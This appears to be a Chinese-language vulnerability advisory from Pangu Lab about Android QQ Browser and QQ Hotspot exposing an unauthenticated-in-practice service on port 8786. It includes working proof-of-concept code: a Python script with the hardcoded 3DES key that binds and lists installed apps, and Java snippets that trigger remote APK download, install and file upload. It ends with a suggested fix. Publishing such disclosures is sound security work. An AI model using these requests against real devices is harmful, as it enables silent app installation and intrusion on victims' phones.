来源链接:http://blog.pangu.io/wormable-browser/
### 漏洞说明
安卓版QQ浏览器,QQ热点等应用程序在本地wifi开始时,会监听本地8786端口,且监听本地所有ip地址。当攻击方和被攻击方处于同一局域网环境时,通过该接口,可在局域网内运行QQ浏览器,QQ热点的设备中上传数据、启动应用安装等。当这些应用拥有root权限时,可静默安装移动应用。攻击方和被攻击方处于不同局域网环境时,可通过恶意链接,远程植入,感染与被攻击方所在局域网内所有运行安卓版QQ浏览器,QQ热点等应用的主机。
### 漏洞详情
发现过程:
通过Janus平台搜索发现,QQ浏览器会在本地开启服务。
![](http://blog.pangu.io/wp-content/uploads/2016/09/1.png)
![](http://blog.pangu.io/wp-content/uploads/2016/09/qqbind.png)
应用在获取到连接时会在handle方法进行处理。
![](http://blog.pangu.io/wp-content/uploads/2016/09/3.png)
通过bind命令,可以通过连接验证。然后利用其他命令,如downloadandinstall进行远程控制。
![](http://blog.pangu.io/wp-content/uploads/2016/09/4.png)
### 漏洞证明
1、 远程获取已安装应用列表。
```
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import requests
import base64
from binascii import b2a_hex, a2b_hex
from pyDes import *
payload = ""
x_uuid = "d661d51862c23e397d14cb0eb2bf46f4"
key = "kM7hYp8lE69UjidhlPbD98Pm"
def encode_(s):
e_scheme = triple_des(key, ECB, "\0\0\0\0\0\0\0\0", pad = None, padmode = PAD_PKCS5)
r = e_scheme.encrypt(s)
return base64.b64encode(r)
def decode_(s):
b = base64.b64decode(s)
e_scheme = triple_des(key, ECB, "\0\0\0\0\0\0\0\0", pad = None, padmode = PAD_PKCS5)
return e_scheme.decrypt(b)
def req(payload):
headers = { 'Content-Length':str(len(payload)), 'Content-Type':'application/x-www-form-urlencoded',
'Host':'127.0.0.1', 'Connection':'close', 'Accept-Encoding':'gzip'}
try:
r = requests.post("http://192.168.31.160:8786/bind?uuid=" + x_uuid, data=payload, headers=headers)
r = requests.get("http://192.168.31.160:8786/getapplist?uuid=" + x_uuid)
except:
print "Error"
print r.status_code
print r.content
if r != '':
print decode_(r.content)
print r.headers
if __name__ == "__main__":
stage1 = encode_("{'code':'123456','uuid':" + x_uuid + "}")
stage2 = encode_(stage1)
req(stage2)
```
2、远程下载、安装应用。
```
String apkdetail="{'pkgName':'com.wandoujia.phoenix2',"
+ "'url':'http://a.wdjcdn.com/release/files/phoenix/5.19.1.12038/wandoujia-wandoujia-web_direct_binded_5.19.1.12038.apk',"
+ "'name':'wandoujia-wandoujia-web_direct_binded_5.19.1.12038.apk',"
+ "'fileMd5':'3808dbc7092e18ec9e375d54b027162f',"
+ "'autoOpen':'true',"
+ "'installBySys':'false',"
//+ "'fileFolderPath':'',"
+ "'forbidRename':'true','length':'6492397','mimeType':'application/x-www-form-urlencoded','hasToast':'true',"
+ "'hasChooserDlg':'true'}";
String data=b(apkdetail,f_u);
data=b(data,f_u);
resp=(doPost("http://192.168.31.156:8786/downloadandinstall?uuid="+uuid, data));
```
3、其他如上传文件等均可执行。
```
String fileContent=Util.readFileByLines("D:\\迅雷下载\\w.apk");
resp=(doPost("http://192.168.31.155:8786/bind?uuid="+uuid, ecStep2));
resp=(doPost("http://192.168.31.155:8786/upload? uuid="+uuid+"&len=6492397&start=0&time=0&name=w.apk&type=apk&fileMd5=3808dbc7092e18ec9e375d54b027162f&installBySys=true",fileContent));
```
### 修复方案
结合这两款应用的应用场景发现,在鉴权方面并没有多大的修复空间(这两款应用都通过2次的3DES加密交换uuid,对第三方接入进行鉴权)。因此,我们建议开发者在第三方接入时,给用户必要的交互提示警告,确保经过用户授权才可以调用相关接口,从流程上对这个问题进行修复。
通过在盘古的Janus平台检索发现,有两款腾讯应用受此漏洞影响。分别是QQ浏览器和QQ热点。
![](http://blog.pangu.io/wp-content/uploads/2016/09/5.png)
其中QQ浏览器的影响比较大,测试发现包括最新版的很多版本都受这个漏洞的影响。
![](http://blog.pangu.io/wp-content/uploads/2016/09/6.png)
### 漏洞发现者
赵帅,盘古实验室研究员
卜文奇,盘古实验室实习研究员
暂无评论